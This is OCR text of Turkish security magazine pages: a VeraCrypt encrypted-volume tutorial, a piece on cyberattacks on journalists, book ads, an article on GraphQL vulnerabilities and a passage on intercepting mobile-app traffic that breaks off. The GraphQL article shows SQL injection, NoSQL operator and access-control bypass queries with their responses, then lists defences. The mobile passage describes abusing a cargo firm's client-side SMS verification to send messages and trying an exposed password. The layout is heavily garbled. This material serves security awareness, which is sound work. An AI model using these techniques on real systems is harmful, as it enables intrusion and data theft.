Maore information on AES Benchmark

Hash Algorithm

ISHA—Elz v] Information on hash algorithms

[ Help l [ = Back Mext = ]|| Cancel |

Burada birim igin bir sifreleme algoritmasi sececegiz. Burada
ne sectiginizden emin degilseniz, varsayilan ayarlar1 kullana-
bilirsiniz.
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Volume Size

5o (kB @ ME ) GB

Free space on drive F:\ is 27.87 GB

Please spedfy the size of the container you want to create.

If you create a dynamic {sparse-file) container, this parameter wil
spedfy its maximum possible size.

Mote that the minimum possible size of a FAT volume is 292 KB.
The minimum possible size of an NTFS volume is 3792 KB.

l Help ] I < Back | MNext = ] I Cancel I

Birim Boyutu penceresi olusturmakta oldugunuz dosyanin
boyutunu belirlememize yarar. Bu bélimde biz varsayilan
ayar olan 250 MB’lik bir birim olusturacagiz.

Volume Password

Password: | #eese s s ssesssss st ssasssnes

Confirm: | ****eeeesssesss e essnesaees

[T use keyfiles
[ pisplay passwaord
[T use PIM

Itis very important that you choose a good password. You should
avoid choosing one that contains only a single ward that can be found
in a dictionary (or a combination of 2, 3, or 4 such words). It should
not contain any names or dates of birth. It should not be easy to
guess, A good password is a random combination of upper and lower
case letters, numbers, and spedal characters, suchas @ ~ =5% +
etc, We recommend choosing a password consisting of 20 or more
characters {the longer, the better), The maximum possible length is 64
characters.

[ Help | I < Back Mext = | Cancel

Bu en 6nemli adimlardan birisidir. Burada iyi bir parola sec-
mek zorunday1z.

Giiglii bir parola segtikten sonra, ilk giris alanina yazin. Sonra
parolay1 ikinci giris alanina yeniden yazip ileri butonuna tik-
laym.

Volume Format

Options

Filesystem |FAT  » | Cluster |Default +| [7]Dynamic

Random Pool: *, *+.+—%, f4—%*——%/ —+ . +* +..,._|
Header Ke-y: R T

Master KE'!!': LR S s Rt s s Rt et i s s s e R L

Done | Speed Left

[MPORTANT: Move your mouse as randomly 3= possible within this
window. The longer you move it, the better. This significanty
increases the cryptographic strenagth of the encryption keys. Then
dlick Format to create the volume,

Randomness Colected From Mouse Movements

| Help | | < Back I Format I| Cancel

Yukarida belirtildigi gibi VeraCrypt simdi belirledigimiz dizin
tizerinde My Volume isimli bir dosya olusturacak. Bu dosya,
dosyalarinizi giivenli bicimde depolayacaginiz 250 MB’lik bir
VeraCrypt normal birim alani tagiyacak. VeraCrypt islem ta-
mamlandiginda sizi bilgilendirecek.

-

L%

-
VeraCrypt Volume Creation Wizard ﬁ

|0I The VeraCrypt volume has been successfully created.

Volume Created

The VeraCrypt volume has been created and is ready for use. If you
wish to create another VeraCrypt volume, didk Mext. Otherwise, didk
Exit.

Hep | | <Back || mext> ||| et
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VeraCrypt birimini (dosya kabi) basariyla olugturduk. Ve- Dosya Se¢’i tiklayin. Standart dosya secici penceresi goriine-
raCrypt Birim Olusturma Sihirbazi penceresinde, Cikiga tik-  cektir.

layin . . .
Y = Select a VeraCrypt Volume u
Kalan adimlarda, az 6nce olusturdugumuz birimi monte ede- | G )=/ » Computer » Locel Disc(F) » Data ~ [ %3 || search Dato o]
cegiz. Ana VeraCrypt penceresine donecegiz (hala agik olmasi i e NG =« 0 @
gerekir, ancak acik degilse, VeraCrypt1 baglatmak i¢in 1. Adi- X — g Date modified Type
] T
mui tekrarlayin ve ardindan bu adimdan devam edin.) ‘?3'[}'::;5”“ [ My Volume 123020 108, Fil |
r F= Bl il Git o
“ VeraCrypt P=a J‘ Music
Volumes System  Favorites Tools  Settings | Help | Homepage |&=| Pictures
=/ Subversion E
Drive  Volume Size Encryption Algorithm Type - B Videos
o B3 T
ﬂi 1% Computer
: &, Local Disk (C)
=N = Local Disk (D)
sl a Local Disk (F:) Ll 1 | 3
jg il File name: My Volume - [anFies g -|
=R 0 Cancel
:]SI |[ pen iI [ ancel ]
= T | b

Dosya segicisinde, kapsayici dosyaya goz atin (6-12. Adimlar-

Velume Propertes... Wipz Cache da olusturdugumuz dosya) ve onu se¢in. A¢’a tiklayin (dosya
Yolume secici penceresinde).
| " . , )
s [¥] Never save history [ Volume Tools. .. ] [ Select Device... ] s veEcaRt = | —
Volumes System Faverites Tools  Settings  Help Homepage
“ e “ “ D ” H - “ “ _— ” Drive  Volume Size Encryption Algorithm Type ~
! =B P
= E:
=
Listeden bir siiriicti harfi se¢in. Bu, VeraCrypt kabimin monte =i
edilecegi stiriicii harfi olacaktir. g
- ™ =9
% VeraCrypt = | S | R :
Volumes System Favorites Tools  Settings | Help | Homepage :]15—
Drive  Volume Size Encryption Algerithm Type o
:..]B: P Volume Properties., .. Wipe Cache
o E 2
E]K: L Volume
=N i “ F:\Data\My Volume - ﬂj
=0 | WO | 7] Never save history [ voumeTools.. | [ SelectDeviee.. |
=
=0
== |
:S I! Mount ]l “ Auto-Mount Devices ” H Dismount All “ H Exit ”
= T .
T TR Ana VeraCrypt penceresinde, parola istemi iletisim penceresi
e goriinmelidir.
|\,c . ADIM 17:
VerstRt 7] Never save history [ Volume Tools. .. ] [ Select Device... ]
Enter password for F\Data\My Volume
H Mount ]| H Auto-Mount Devices. ” H Dismount All “ “ Exit ”
| Password:l I oK ]

PKCS-5PRF: | Autodetection = | [ TrueCrypt Mode Cancel

[Cluse P

7| cache passwords and keyfiles in memary

[ pisplay password

[ use keyfiles Keyfiles... ] [ Mount Options...
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Sifreyi (10. Adimda belirtilen) sifre giris alanina (kirmiz1 dik-
dortgen ile isaretlenmis) yazin.

ADIM 18:

Enter password for F\Data\My Volume

Passmlord: e
e [T e S —
[[use PIM

[ cache passwords and keyfiles in memary
[ pisplay password
[ Use keyfies |

Keyfies. .. I [Mount Options. .. ]

e

Birimin olusturulmas: sirasinda kullanilan PRF algoritmasini
se¢in (SHA-512, VeraCrypt tarafindan kullanilan varsayilan
PRFdir). Hangi PRF’nin kullanildigini hatirlamiyorsaniz, sa-
dece “otomatik algilama” ayarina birakin; ancak montaj islemi
daha uzun siirecektir. Sifreyi girdikten sonra Tamam’a tikla-
yin.

VeraCrypt simdi birimi monte etmeye ¢alisacak. Sifreyi unu-
tursaniz veya yanlis girerseniz, bir 6nceki adimi tekrarlayin.
Sifre dogruysa, birim monte edilecektir.

SON ADIM:

oo o ) |

Homepage

-
% VeraCrypt

Volumes System  Favorites  Tools  Settings  Help

Drive  Volume Size Encryption Algorithm Type
| ¢

=1

=M F\DataiMy Volume
S

| O

| P -
=Q:

==R:

5t

) T2 -

=B ‘

299MB  AES

Create Volume

Volume
VeraCrypt

| [ Dismount

Volume Properties... Wipe Cache
g Select File...

Select Device... ]

F:\Data\My Volume

|Z| Mever save history [ Volume Tools. .. | |

]_ I Auto-Mount Devices |I “

Dismount All l [ Exit l

e

Kab1 bagarili bir sekilde sanal bir disk M olarak yerlestirdik:

Sanal disk tamamen sifrelenmistir (dosya adlari, bos alanlar
vb.) Dosyalar1 bu sanal diske kaydedebilirsiniz (veya kopyala-
yabilir, tasiyabilir vb.). Bundan sonra yazilan dosyalar1 aninda
sifreleyecektir.

Bir VeraCrypt biriminde depolanan bir dosyay1 agarsaniz, 6r-
negin medya oynaticisinda, dosya okunurken aninda otoma-

tik olarak RAMe (bellege) desifre edilir.

NOT: Bir VeraCrypt biriminde depolanan bir dosyay1 agtig1-
nizda (veya VeraCrypt birimine bir dosyay1 yazarken / kopya-
larken) parolay1 tekrar girmeniz istenmeyecegini unutmayin.

Ayrica, ige aktarilmig birime normalde diger herhangi bir bi-
rime de goz attiginiz gekilde goz atabilirsiniz. Ornegin, * Bilgi-
sayarim ' listesini acip ilgili stirtici harfini ¢ift tiklayarak ( M
harfi) goriintiileyebilirsiniz.

Bl—

@T\?!ﬂi » Computer » -

Organize Properties System properties  »

B EEI Documents Mame ’ Type
s - u Local Disk (F:) Local Disk
‘J M_IUSIC . caBig(H) Local Disk
= Plcturesl |E| E.ID"'”EQE_.HEE} L Ec_calDltk
=)l Subversion | [ Local Disk (M) Local Disk

B Videos

4 Devices with Removable Storage (2)

1% Computer L3 DVD RW Drive (Gz) CD Drive

& Local Disk (¢ + < [ .
Dosyalar1 VeraCrypt birimine kopyalayip tipki normal bir dis-
ke kopyaladiginiz gibi (6rnegin, basit siiriikle ve birak islem-
leri ile) kopyalayabilirsiniz. ifrelenmis VeraCrypt biriminden
okunan veya kopyalanan dosyalar RAM (bellek) aninda oto-
matik olarak sifresi ¢oziiltir. Benzer sekilde, VeraCrypt birimi-
ne yazilan veya kopyalanan dosyalar RAM aninda otomatik
olarak sifrelenir (diske yazilmadan hemen once).

VeraCryptin sifresi ¢oziilen verileri hi¢bir zaman bir diske
kaydetmedigini unutmayin; yalnizca gegici olarak RAMde
(bellek) depolar. Birim, monte edildiginde bile birimde de-
polanan veriler hala sifrelenir. Windowsu yeniden baslatti-
gimizda veya bilgisayarinizi kapattiginizda, birim ¢ikarilacak
ve lizerinde depolanan tiim dosyalar erisilemez ve sifreli hale
gelecektir.

Giig kaynag1 aniden kesilse bile birimde depolanan tiim dos-
yalara erisilemez (ve sifrelenir). Onlari tekrar erisilebilir yap-
mak i¢in, birimi takmaniz gerekir. Bunu yapmak i¢in Adim
13-18’ tekrarlamak yeterli.

Birimi kapatmak ve {izerinde depolanan dosyalar: erisilemez
duruma getirmek istiyorsaniz, isletim sisteminizi yeniden bas-
latin veya birimi ¢ikarin. Bunu yapmak i¢in su adimlari izle-
yecegiz:
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% VeraCrypt l‘:' | i_hJ
Volumes System Faverites Tools  Settings  Help Homepage
Drive  Volume Size Encryption Algorithm Type
| 7 F
| E 3 ‘
==K
M: F:\Data\My Volume 249MB  AES Normal £
i N
o O
o] P ¢ —
| Q)
| R
i 5
| T2 -
Create Volume Volume Properties... Wipe Cache
Volume
" F:\Data\My Volume - Select File...
VersCPt  [F] Never save history [ Volume Tools. .. | | Select Device. .. l
I[ Dismount ]I l Auto-Mount Devices I H Dismount All l [ Exit l

Ana VeraCrypt penceresindeki monte edilmis birimler liste-
sinden birimi se¢in (yukaridaki ekran goriintiisiinde kirmizi
bir dikdortgen ile isaretli) ve sonra da Kaldir’s tiklayin. Birim-
de depolanan dosyalarin tekrar erisilebilir olmasini saglamak
i¢in birimi monte etmeniz gerekir. Bunu yapmak i¢in Adim
13-18’i tekrarlayin.

VeraCrypt Sifreli Bolim /
Aygit Olusturma ve Kullanma

Fiziksel boliimleri veya siiriiciileri de sifreleyebilirsiniz (yani,
VeraCrypt aygit1 tarafindan barindirilan birimler olustura-
bilirsiniz). Bunu yapmak igin 1-3 arasindaki adimlar1 tek-
rarlayin, ancak 3. adimda ikinci veya tiglincii segenegi secin.
Ardindan sihirbazda kalan talimatlari izleyin. Sistem dis1 bir
boliim / siiriicli iginde cihaz tarafindan barindirilan bir Ve-
raCrypt birimi olusturdugunuzda, ana VeraCrypt penceresin-
de, Auto-Mount Devices tiklatarak baglayabilirsiniz. Sifreli
sistem boliimii siirticiileri ile ilgili bilgi i¢in Sistem Sifreleme
bélimiine bakin.

Buradaki (https://bit.ly/2IRcGxX) Youtube kanalinda,, bilgisa-
yarimnizin ¢evrimici gizliligini nasil koruyacaginiz, iletisiminiz
i¢in giivenligi ve mahremiyeti saglama konusunda pratik tav-
siyeler bulunmaktadir. Bunun gibi kaynaklar, gazetecilerin in-
celemesi ve bilinglenmesi, cevrim i¢i giivenlik i¢in atilabilecek
adimlardan bir tanesidir.

Siber Terorizmin Kurbani Olmayin!

Siber terdrizm potansiyelinin abartildig: diigiiniilebilir. Ancak
béoyle bir tehdidi inkar etmek ya da gérmezlikten gelmek yan-

listir. Terdrle miicadelede elde edilen basari teréristleri siber
terdrizm gibi olagan dis1 yontemlere yoneltebilir. Kimi zaman
gazetecilerde siklikla siber terérizmin kurbani olabilmektedir.

Medyaya bir siber saldiri daha:
Belgika gazetesi hacklendi

Haber  Drga slabartel - Su bacharlr ZO0 dum Fasla gavtetryl bedel s

. a Rus hacker'lar 200'den fazla
o G gazeteciyi hedef almis

B yaras

Yeni Akit Gazetesi'nin Veritabam
Hacklendi

ban%C4%B1 hacklendl a81d76764005

https://www.ntv.com.tr/dunva/rushackerlar-200den-
fazla-gazeteciyi-hedef-almis,b7QIkQVIo0C3M
https://siberbulten.com/siber-guvenlik/medyaya-bir-sibe-
r-saldiri-daha-belcika-televizyonu-hacklendi/

https://www.milatgazetesi.com/arsiv/akincilardan-belcika-m-
edyasina-sok/haber-125608
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Bir FireEye sirketi olan Mandiant, 17 tilkede 350den fazla danigmaniyla yilda ortalama 200.000 saatlik ¢aligma yapan, devlet
standartlarinda bir siber istihbarat ve danigsmanlik sirketidir. Sirketin yaptig1 arastirma raporlarina gore son zamanlarda , gaze-
tecilere yonelik siber saldirilarin arttig1 goriilmektedir.

Rapora gore , APT32 olarak takip edilen OceanLotus adli grup 2014 yilinda Vietnamda yatirimi bulunan yabancr sirketle-
ri, yabanci devletleri, gazetecileri ve Vietnamli muhabirleri hedef almistir. Bu grubun yeni saldirisinda, sosyal mithendislik
e-postalarinda Microsoft ActiveMime dosyalar: kullanilmigtir.

Grubun Vietnam hiikiimeti lehine ¢alistig1 6ngoriilmektedir. APT34 grubunun spear phishing yontemiyle bir powershell agik-
ligin1 kullanarak orta doguda organizasyonlar: hedef aldigini tespit etmistir.

Bir sonraki yazimiz “Gazeteciler igin agik kaynak istihbarat” konusunda gériismek tizere.

YOLO (CNN) - HAAR SINIFLANDIRICILARI - DLIB (DERIN OReNME) @b aklis

o] e |
] > -
V" [

OpentV 0penCV ve PYTHON
Python-

ile Eglenceli Projeler

ile Eglenceli Projeler ve
ve Oyunlarﬁhmmﬁf Oyunlar

+ Kawamsal Bilgiler = Yz Alglamal Saptama Projesi + Top Toplama Oyunu

« OpencyileYanYarma = Yz Hatlan Projesi « Gz Harehetleri e Oyun
« Garseler ve Matris slemlesi = Ten Alplama Projesi « Yize Aksesuar Ekleme
* Kamerastemles  Hesne TokibiProjes Oy

BN SRRNE | AHMET AKSOY
KITAP+VIDEO EBITiM SETI
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Gijvenllk Zaflyetlerl

raphQL, 2012 yilinda Facebook tarafindan gelistiri-
Glen ve 2015 yilinda agik kaynakl olarak yayinlanan

bir veri sorgulama dilidir. GraphQL ile istemci bir
API kaynagindan istedigi ve ihtiyaci olan verileri ¢ekmek i¢gin
gerekli olan sorgular1 uygulama seviyesinde yaparak kolay bir
sekilde elde edebilir. Yazilim gelistiricilerin {iretkenligini ar-
tirmak ve veri transferlerinde kargilasilan zorluklar: azaltmak
amaciyla Restful mimarisine alternatif olarak gelistirilen bu
dili Facebook basta olmak tizere Github, Pinterest ve Coursera
gibi popiiler platformlar kullaniyor.

GraphQL vs REST API

GraphQL ve REST APTyi karsilastirirsak hem ona neden ih-
tiya¢ duyuldugunu daha iyi kavramis hem de avantajlarini
gormils oluruz. Kisaca bahsedelim, 6rnegin spor verilerini
distintin. Oyuncular, takimlar, maglar ve bunun gibi birgok
alt veri siralayabiliriz. REST APIde bu verilere ulasabilmek
i¢in her biri i¢in ayr1 ayr1 endpoint’lere ihtiya¢ duyulur ve ayr1
ayr1 sorgular hazirlamak gerekir. Fakat GraphQL ile oyuncu-
lar, takimlar ve maglar arasindaki iligkilerin hepsi ayn1 veri
grafiginin bir pargasi oldugu i¢in verilere ulasabilmek igin tek
bir istek yeterlidir.

Rest API GraphQL API
.8 L1
[ PLAYERS, TEAMS, MATCHES |
| |
o<

v

EEee g g s

Resim1.2'de 6rnek bir sorgu, yanit ve sema tg¢listiiniin nasil
oldugunu, Resim 1.3’te ise REST API ve GraphQL API arasin-
daki uygulama farkini agik bir sekilde goriyorsunuz.

GraphiQL > Prettify | History < RootQueryType
l i Q Search Artist.
~  artist{ « “data": {
LlastName . "artist": { No Description
firstName lastNa Sutton”,
: age ;;;su«::e "Tierney", eLos
I 2 F id: Sr
i firstName
lastName:
age:
Resim 1.2
REST(-like) API GraphQL API
GET POST ../ araphql
ST
9)  BOST..iiessurdas iictustar ki {name: -
PO grapt
{ )
GET fusers?limit=5
3) GET ../users/{id}/employer =
rfo t
Resim 1.3

Atak Senaryolari

GraphQL kullanan web uygulamalar1 ve erisilen endpointler
SQL injection, NoSQL injection, erisim kontrollerini atlatma,
hassas veri s1zintis1 gibi bir¢ok zafiyet barindirabilir. Bu yazida
gercek senaryolar {izerinden bu ataklarin nasil gergeklestigine
g0z atacagiz.

SQL Injection

Mathias Choren, blog yazisinda SQL injection zafiyetine ma-
ruz kalan bir endpoint bulmak i¢in GraphQL ile denemeler
yapiyor. Asagidaki 6rnekteki gibi “type” argiimanina tek tir-
nak (%) atildiginda MySQL syntax hatas: alindigini gériiyoruz.
Syntax hatas1 almasak bile bu endpoint’te Blind, Time-based
ve Out-of-Band SQL injection zafiyetlerinin hala bulunabile-
cegini de unutmamak gerekir.

Artist
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GraphiQL > Prettify | History

1 i
bacons(type: "chunky"") { "errors": [
id, {
type, an error in

": "ER_PARSE_ERROR: You hav
price H < the manual that responds to
1 y = r rsion for the right syntax to use
} near unky at line 1",
"locations": [
{
"line": 2,
"column”: 3
X
1,
"path": [
"bacons”
]
}
1,
"data": {
"bacons": null

}
QUERY VARIABLES ¥

Burada bulunan SQL injection, Burp Suite ile manuel olarak exploit edilmeye ¢alisiliyor ve tek tirnaktan sonra eklenen SQL
sorgusu ile veri tabanindaki diger veriler ¢ekilmis oluyor.

Request Response
j R T Pararms T Headers I Hex IJSON I]SON Cecoder ] [ R I Headers I Hex IJSON IJSON Decoder L
POST /fgraphgl? HITP/1.1 A
Host: localhost r {
User-Agent: Mozilla/5.0 (X11; Linux x86 &4; "data": {
rv:52.0] Gecko/20100101 Firefox/52.0 "bacons": [
Accept: application/json {
Accept-Language: en-US,en;q=0.5 "type": "chunky",
Accept-Encoding: gzip, deflate s lghln-tiaceitc )
Content-Type: application/json 2T (B 20
Content-Length: 171 ¥,
Connection: close {
FTYpeEL i ENappt
{"query":"{\n bacons(type: %"chunky' union select torioethe L
current_user(),database(),3 and '1=1\") {\n "1d"; "root@localhost"
id,\n type,\n pricein }
Ik, "variables" :null, "operationMName" :null} ]
1
I

GraphQL sorgusu her ne kadar giigli bir sekilde yazilsa bile, SQL ya da NoSQL Injection zafiyeti icerebilir ¢linkit GraphQL,
istemci uygulamalari ve veri tabani arasinda bir katmandir. Muhtemel zafiyet, veri tabanini sorgulamak ve GraphQL sorgula-
rindan degiskenleri almak i¢in gelistirilen katmanda bulunabilir.

NoSQL Injection

Pete Corey, 2016 yilinda yayimladig: bir blog yazis1 ile JSON tipleri yolu ile nasil NoSQL injection zafiyetini buldugunu agik-
liyor (kaynakgadaki link ile daha ayrintili inceleyebilirsiniz). Oncelikle NoSQL Injection zafiyetinin olugturabilecegi tehlikeye
hizlica bir g6z atalim.

ID numarasina gore Foo koleksiyonundan tek bir 6ge yayinlayan, Meteor ile olusturulmus yayin uygulamasi oldugunu distine-
lim. Istenilen Foo belgesinin ID bilgisi, yayina abone olduklarinda kullanic1 tarafindan saglansin.

Meteor.publish("foo", function(_id
return Foo.find({ _id
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Meteor uygulamasina gore , _id argiimani string olarak ka-  Bir 6nceki 6rnegi revize edersek:

bul edilir ama kétii niyetli bir kullanic1 “fo0” yayminin _id

arglimanina string disinda bir sey génderirse MongoDB sorgu type: FooType,

operatdriinii barindiran bir nesneyi bypass ederek sorgunun —

davranigini degistirebilir. Tiim ID’ler bos bir string’ den daha _id: [ type: new GraphQLNonNull(graphql.GraphQLString
biiyiik oldugundan, foo koleksiyonundaki tiim belgeler liste-
lenmis olur.

let FooQuery =

resolve: function (_, { _id
return Foo.findOne(_id);

Meteor.subscribe("foo", $gte: ™"

Meteor uygulamalarinda bu tip zafiyetlerden kurtulmanin en
iyi yolu ise argiimanlar1 kontrol etmek amaciyla “check” fonk- ~ S$imdi FooQuery fonksiyonunu GraphQL semasina bagladik-
siyonunu kullanmaktir. tan sonra asagidaki sorgu ile veriyi elde edebiliriz:

Meteor p|ub1ish- "foo", function(_id)
check(_id, String)
return Foo.find({ _id })

foo(_id: "12345"
bar

Her argiimani bu sekilde kontrol etmek yerine GraphQLin Artik “Foo” sorgusuna string disinda herhangi bir veri tipi
“strongly-typed” (sorgular1 ¢alistirmadan 6nce syntax olarak iletmeye calisirsak, hata aliriz ve sorgumuz ¢alismaz.

dogru sorgular tanimlanmasini saglama) ozelligi sayesinde

sorunlar ¢6ziilmiis oluyor. Ciinkii tiim sorgular i¢in tanimlan- "errors

mus ve iliskilendirilmis bir sema olusturuluyor.

essage”: "Argument \"_id\" has invalid value 54321.\nExpected type

Graphql/type modiilii ile sorgular igin veri tipleri ve semalar tanimlayabilirsiniz. Ancak input nesnesi i¢inde tanimlanan alan-
larin iyi ayrintilandirilmasi gerekir. Her alan skaler veya daha karmagik bir tiir olmalidir. GraphQLde varsayilan olarak tanimli
skaler tiirler: Int, Float, String, Boolean ve IDdir. Bu tanimlar sema igerisinde yapildiktan sonra input objelerinin exploit edil-
mesinin dniine ge¢ilmis olur.

Information Disclosure
GraphQL ile agiga ¢ikabilecek bir diger zafiyet de bilgi ifsasidir. Asagidaki 6rnekte goriildiigii tizere error uyarist ile birlikte bir
bilginin ifsas1 gerceklesiyor.

"errora™: [
{
"message": "Inwvalid ID.",
"locations": [
{
T ame s 2
"column": 12
}
"Stack": "Error: invalid ID\n at (/var/www/examples/04-bank/gra
phgl.php) \n"
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Erisim Kontrollerini Atlatma

Bir de Jon Bottarini tarafindan kesfedilen bu yolu inceleyelim. Jon Bottarini, yalnizca admin seviyesindeki kullanicilarin eris-
mesi i¢in konfigiire edilmis verilere kullanici seviyesinde ulagmay1 bagarmis ve bunu kagakeilik (smuggling) sorgular: olarak
isimlendirmis.

Senaryoda kullanicilar igin kisitlanmuis bir lisans anahtari bilgisi mevcut. Bu lisans anahtarini kullanici seviyesinde elde etmek
i¢in Jon Bottarininin izledigi yollara bakalim.

Asagida kullanici seviyesinde olusturulmus bir sorgu ve buna dénen yanit bulunuyor.

POST /accounts/REMOVED/graphgl HTTP/1.1

currentUser {
email
currentAccount {
name

capabilities {

name
1

apmSubscription: subscription(productlLine:

productlLine
}
infras ription: subscription(productlLine: "infrastructur
trialEligibility {
state
}
trial {

endTime

= ] b
pabilities

abilities]|, "apmSubscription”:{"productLine" :"apm"}}}}}

Bu yanit bilgisinden anlagilan, currentUser ile email adresi, currentAccount ile hesap ismi, yetenekler, deneme uygunlugu ve
deneme durumu isteniyor.

Buradaki asil problem, uygulamanin yukaridaki sorguyu gergeklestiren kullanicinin yonetici olup olmadigini tespit edememesi.
Sorgudaki currentAccount kismina lisans anahtari bilgisini ekleyip yaniti tekrar inceliyoruz.
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POST /faccounts/REMOVED/graphgl HTTP/1.1

currentUser {
email
currentAccount {
name

licen

name

apmSubscription: subscription(productline:

productline

raSubscription: subscription(productlLine: "infrastruct

Eligibility {

trial {

endTime

{"data": FRE 1 - na
"licenseKey" :"95d24ccefadad21a6REDACTED ", Bl

huge list of capabiliti , "apmSubscription”:{"productlLine

Gordugiiniiz gibi kullanici seviyesinde iken lisans anahtari bilgisi ile beraber tiim hesap bilgisi elde edilmis.

GraphQL API Giivenligini Nasil Saglariz?

Ortaya gikabilecek tehlikeler konusunda farkindalik kazandiktan sonra dikkat edilmesi gereken GraphQL API giivenliginin
nasil saglanmasi gerektigi konusu. Bunun igin asagida siralanmus bir best-practices listesi bulunuyor. Bu listeyi inceleyip gerekli
kontrolleri saglayabilirsiniz.

1. Sorgular i¢in zaman asimu siiresi belirlemek:
Her sorgu i¢in maksimum zaman sinir1 belirlemek saldirganin kullanacagi biiyiik sorgularda ise yarayacaktr.

2. Sorgu derinligini sinirlandirmak:
Devasa biyiiklitkte gonderilen ig ice sorgular ile muhtemel bir DoS saldirisindan korunmak i¢in sorgunun derinliginin belir-
lenmesi gerekir. Bunu uygulamak i¢in graphql-depth-limit modiilit kullanilabilir.

3. Sorgu karmagikligini sinirlandirmak:
Karmagik sorgular GraphQL sunucusuna ek olarak yiik eklediginden yine DoS ataklarina maruz kalinabilir. Bunu uygulamak
i¢in graphql-validation-complexity modiili kullanilabilir.

4. Sorgular icin bir white-list olusturmak:
Kottt amagl veya istenmeyen sorgulardan kaginmak i¢in alinabilecek dnlemlerden biri de whitelist olusturarak kabul edilecek
sorgulari listelemektir.
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5. Kalic1 sorgular olusturmak:

GraphQL sorgularin: statik string’ler olarak yazmak en iyi
yontemlerden biridir. Bu yontem ile whitelist kadar kisitlayic
olmadan ve bant genisligini koruyarak kétii sorgulardan ko-
runmus olursunuz. Bunun i¢in persistgraphgl aract kullani-
labilir.

6. Kullanicilar i¢in hiz sinirlamak:

Gonderilen sorgular karmagik olmasa bile belli bir stire igeri-
sinde gonderilen sorgu sayisi fazla oldugunda yine problemler
ortaya ¢ikar. Hiz sinirlayici ile bir istemcinin belirli bir zaman
penceresinde kag istek gonderebilecegini belirlemek gerekir.

7. GraphQL endpoint’i korumak:
GraphQLde kimlik dogrulamasi ve yetkilendirme igin giiven-
ligi saglamak ¢ok onemlidir.
Kimlik dogrulamasi i¢in:
o Her yerde SSL sertifikasinin zorlanmasi gerekir.
o Erisim ve hata loglarinin tutulmas: gerekir.
Yetkilendirme i¢in:
o Her bir node i¢in yetki diizeyinin kontrol edilmesi gerekir.
o Verileri ayr1 katmanlara ¢ekerek yetkilendirme kontrolii-
niin yapilmasi gerekir.

Kaynakca
https://devopedia.org/graphql

https://leapgraph.com/graphal-api-security

https://blog.doyensec.com/2018/05/17/graphqgl-security
-overview.html

https://labs.detectify.com/2018/03/14/graphgl-abuse/

http://www.petecorey.com/blog/2016/06/13/nosql-injection-
and-graphqgl/

https://medium.com/@localh0t/discovering-graphgl-end-
points-and-sqli-vulnerabilities-5d39f26cea2e

PYTHON DILIYLE GRNEK KODLAR VE ACIKLAMALARI

UYGULAMALARLA

VERI BILIMI

Uygulamalarla
Veri Bilimi

Yapay Zeka ve Makine Ogrenmesi

Doc. Dr. Deniz KILINC - Nezahat BASEGMEZ

= Yeri Bilimi Uygulamalarina Giris = Miisteri Hizmetleri Uygulamalari

= Tavsiye Sistemleri Uygulamalar: * Saglik Hizmetleri Uygulamalan
+ insan Kaynaklan Uygulamalar * Enerji Yonetimi Uygulamalar

= Sikga Sorulan Sorular ve Cevaplar
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Internet Trafigi Uzerinden
Mobil Uygulamalara
Bir Bakis

ternet trafigini incelemek geldi. Potansiyel olarak bulabilecegim seyleri kabaca bir diisiindiikten sonra battaniyeyi atip
bilgisayarima uzandim. Iste tam da bu gece yer yer kahkahalarla giilecegim, yer yer higkiriklarla aglayacagim saatler
beni beklemekteydi. Ben de tiim bunlardan habersiz bir sekilde zamanin akisina uydum, bilgisayarimi actim ve ise koyuldum.

B ir gece vakti yatagimda bir o yana bir bu yana fiitursuzca doénerken, aklima sik¢a kullandigim mobil uygulamalarin in-

Sizler i¢in de kiigiik kii¢iik notlar aldim. Gergek 6rneklerle sizin icin aldigim bu notlar1 simdi sizlerle paylasacagim. Derinle-
mesine teknik bir makale yerine daha cok sizlere bir bakis acis1 kazandirmay1 planladigim bir makale bu yazi. Sizlere en basit
hali ile aciklar1 gostererek, bir uygulama iiretirken dogru gelistirme yontemlerini fark edebileceginiz bir makale olmasini iimit
ediyorum. Buyrun baglayalim.

#1 - Bir Kargo Firmasinin Uygulamasi
Ele aldigim bu kargo firmasinin uygulamasina {iye olarak gonderilerinizi kontrol edebiliyorsunuz. Neler yapabilecegimizi gor-
mek i¢in gelin uygulama tizerinde kayit olma béliimiine gidelim.

now <
»

0 -o—

SMS Sifresi Gonder

Telefon numarami yazdim ve dogrulama kodu génderdim. Bir yandan da BURP iizerinden giden paketi kontrol ediyorum
ama.. o da nesi?

GET
/HttpsServisleri/?ceptel=SHIEM: focrmat=jsonasdk=234Jsservice=50Kat
oken=II ©:' 222462 16 49ED]1EBYEE21FEAI0ETTACES2FBIICARD

Gordiiniiz mii? Dogrulama kodu benim telefonumda belirleniyor!
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Dogrulama kodunu degistirerek tekrar gonderiyorum.

Evet! Bu demek oluyor ki firma adin1 kullanarak istenilen numaraya istenilen mesaj gonderilebiliyor! Bu agig1 istediginiz gibi
senaryolastirabilirsiniz. Bu sirket iizerinden rastgele ya da belirli binlerce kisiye mesaj gonderilebilir, sirketin SMS limiti tiiketi-
lebilir vs. bu da ilgili sirkete maddi/manevi bircok zarara neden olabilir.

Haydi ikinci 6rnegimize gegelim.

#2 - Sinavlar icin Hazirlik Uygulamasi
Universiteye hazirlandigim su giinlerde ilgim de haliyle bununla alakali uygulamalara kayiyor. Bir hevesle tam uygulamay1
agryorum ki, giden pakete bir bakin...

BEOST
fidentitytoolkit/vi/relyingparty/verifyPaseword?key=AlzaSyC-TCALtIIx0Q
riciv T L.

Host: www.googleapls.com

Content-Type: application/json

¥—client-version: ReactMative/JeCore/d.5.2/FirebaseCore-web
Connection: close

Accept: */*

Accept-Language: en-au

Content-Length: 90

Accept-Encoding: gzip, deflate

User-Agent: NN Ftictwork/976 Darwin/18.2.0

{"email” : NG : ;mail.com”, "password”: " ", "retu
INEETUIETOREN talee)

Uygulama benim cihazim ile Google iizerinde oturum a¢1- Sansimi bagka platformlarda denemek i¢in maalesef have i
yor! Hemen oturum agmay1 deniyorum fakat sifrenin daha been pwned ile de olumlu bir sonug alamiyorum.
once degistirilmis oldugunu fark ediyorum.

Google
Hos Geldiniz
© G a.com v
Sifrenizi girin
[I rOR

https://haveibeenpwned.com/ hack’lenmis ve sizdirilmis olan

verileri e-posta, parola girdisi ile sorgulamaniza olanak sagla-
yan {icretsiz bir web servisidir.

Sifronizl mi Unumunuz? m Dedikten sonra siradaki uygulamamiza bir bakalim.

o Slfreniz 11 ay dnce dedigtirildi
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#3 - Sinavlara Yonelik Bir Baska Uygulama

ARKA KAPI

Bu uygulamaya ticretli-licretsiz bir sekilde kayit olarak ders paketlerinden yararlanabiliyorsunuz. Ben de kendi tiyeligimle otu-

rum agtigimda bilgilerimin nasil alindigina bir bakalim.

Response

